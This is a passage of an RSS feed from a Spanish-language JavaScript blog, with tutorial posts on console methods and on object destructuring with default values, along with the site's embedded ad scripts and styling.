loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresión de un grupo con console.group en consola&#34; width=&#34;181&#34; height=&#34;91&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;mide-el-tiempo-con-consoletime&#34;&gt;Mide el tiempo con console.time&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.time()&lt;/em&gt; empezará un temporizador que se detendrá cuando usemos console.timeEnd(). Lo que nos sirve para medir todo lo que se ejecuta en medio de estas dos funciones.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.time()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;functionToMeasure()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.timeEnd()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;default&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;8605&lt;/span&gt;ms &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt; temporizador finalizado&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;imprime-una-lista-de-objetos-como-una-tabla&#34;&gt;Imprime una lista de objetos como una tabla&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.table()&lt;/em&gt; Nos imprime una lista de objetos con un formato de tabla bastante agradable a la vista&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; books &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [{book&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Story of Your Life&amp;#34;&lt;/span&gt;, author&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Ted Chiang&amp;#34;&lt;/span&gt;}, {book&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;The last answer&amp;#34;&lt;/span&gt;, author&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Isaac Asimov&amp;#34;&lt;/span&gt;}, {book&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;do androids dream of electric sheep?&amp;#34;&lt;/span&gt;, author&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Philip K. Dick&amp;#34;&lt;/span&gt;}]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;console.table(books)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/table-1.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/you-dont-know-how-to-use-javascript-console/images/table-1.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Impresion de table con console.table en consola&#34; width=&#34;426&#34; height=&#34;229&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Con este ejemplo doy por terminada la entrada. Espero que la próxima vez que uses &lt;em&gt;console.log()&lt;/em&gt; tomes en cuenta las diferentes opciones que tienes para hacer más sencillo el desarrollo de tu código. En esta entrada solo puse los métodos más útiles, si quieres ahondar más en el tema puedes consultar la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/API/Console&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;documentación oficial.&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Te apuesto a que alguna vez has usado &lt;em&gt;console.log()&lt;/em&gt; para depurar los errores al programar en javascript. Pero quizás no sepas que &lt;em&gt;console&lt;/em&gt; tiene otros métodos muy útiles a parte de &lt;em&gt;log()&lt;/em&gt;. En esta entrada voy a colocar algunos de los métodos más útiles que he encontrado en la web. En esta entrada voy a colocar algunos de los métodos más útiles que he encontrado en la web.&lt;/p&gt;&#xA;&lt;h2 id=&#34;muestra-informacion-con-consoleinfo&#34;&gt;Muestra información con console.info&lt;/h2&gt;&#xA;&lt;p&gt;&lt;em&gt;console.info()&lt;/em&gt; cumple la función de presentar información&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Desestructuración con valores por defecto en Javascript</title>
      <link>https://coffeebytes.dev/es/javascript/desestructuracion-con-valores-por-defecto-en-javascript/</link>
      <pubDate>Sun, 01 Dec 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/desestructuracion-con-valores-por-defecto-en-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En la entrada anterior traté brevemente el tema de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-objetos-anidados-en-javascript/&#34;&gt;desestructuración con objetos anidados en javascript&lt;/a&gt;&#xA; . En esta publicación voy a hablar un poco sobre como podemos especificar valores por defecto al momento de desestructurar un objeto en javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Para hacerlo crearemos un objeto bastante sencillo:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;premium&amp;#34;&lt;/span&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Este objeto podría ser la respuesta a una petición API. Del objeto anterior podriamos desestructurar tres propiedades, &lt;em&gt;userIsLoggedIn&lt;/em&gt;, &lt;em&gt;email&lt;/em&gt; y &lt;em&gt;accountType&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; { userIsLoggedIn, email, accountType } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Pero, ¿qué sucedería si hay un cambio en la API y ahora esta ya no retorna la propiedad el &lt;em&gt;accountType&lt;/em&gt;?, esto bastaría para que toda la parte del frontend que dependa de la presencia de esa variable tenga errores.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  showAdvancedMenu()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;basic&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  showBasicMenu()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Bien pues para evitar que suceda eso podemos asignar un valor por defecto cuando la desestructuración no encuentre la propiedad que queremos desestructurar. Si estás siguiendo este ejemplo recuerda limpiar la terminal de javascript y volver a declarar el objeto principal o tendrás un error.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;asignar-un-valor-por-defecto-al-desestructurar-un-objeto&#34;&gt;Asignar un valor por defecto al desestructurar un objeto&lt;/h2&gt;&#xA;&lt;p&gt;Esta vez declaremos el objeto user sin la propiedad &lt;em&gt;accountType&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  userIsLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;, &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Bien, si nosotros intentemos desestructurar el objeto y asignar un valor por defecto si no se encuentra la propiedad adecuada lo haremos de la siguiente manera:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; { userIsLoggedIn, email, accountType&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;basic&amp;#34;&lt;/span&gt; } &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; user&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;accountType&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;basic&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La constante &lt;em&gt;accountType&lt;/em&gt; devuelve &amp;lsquo;basic&amp;rsquo;, una propiedad de la cual carecia el objeto original, pero que ahora tendrá un valor por defecto si es omitida. Esto nos permite mantener el frontend sin cambios grandes ante una modificación de una respuesta HTTP y manejar la ausencia de alguna propiedad en un objeto.&lt;/p&gt;&#xA;&lt;p&gt;Sé que a veces puede ser bastante difícil este tema, a mi también me costó algo de trabajo comprenderlo la primera vez, la desestructuración hace mucho más legible el ya de por sí confuso código de Javascript. Si aún te parece confuso Javascript te dejo una entrada donde hablo del que yo considero el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/&#34;&gt;mejor libro para aprender Javascript&lt;/a&gt;&#xA; a nivel intermedio.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En la entrada anterior traté brevemente el tema de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-objetos-anidados-en-javascript/&#34;&gt;desestructuración con objetos anidados en javascript&lt;/a&gt;&#xA; . En esta publicación voy a hablar un poco sobre como podemos especificar valores por defecto al momento de desestructurar un objeto en javascript.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Desestructuración de objetos anidados en Javascript</title>
      <link>https://coffeebytes.dev/es/javascript/desestructuracion-de-objetos-anidados-en-javascript/</link>
      <pubDate>Sat, 16 Nov 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/desestructuracion-de-objetos-anidados-en-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;En las entradas anteriores expliqué brevemente como llevar a cabo una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-listas-en-javascript/&#34;&gt;desestructuración de objetos en Javascript&lt;/a&gt;&#xA;, pero en la mayoría de los casos no tendremos la suerte de trabajar con objetos planos, sino que nos encontraremos con objetos anidados con varios niveles de profundidad.&lt;/p&gt;&#xA;&lt;p&gt;¿Tendremos que conformarnos con olvidarnos de esta característica y hacer el trabajo explícitamente asignando una constante a cada objeto? Por suerte Javascript permite trabajar la desestructuración de objetos anidados.&lt;/p&gt;&#xA;&lt;p&gt;Creemos un ejemplo de objeto para probar.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; user &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; 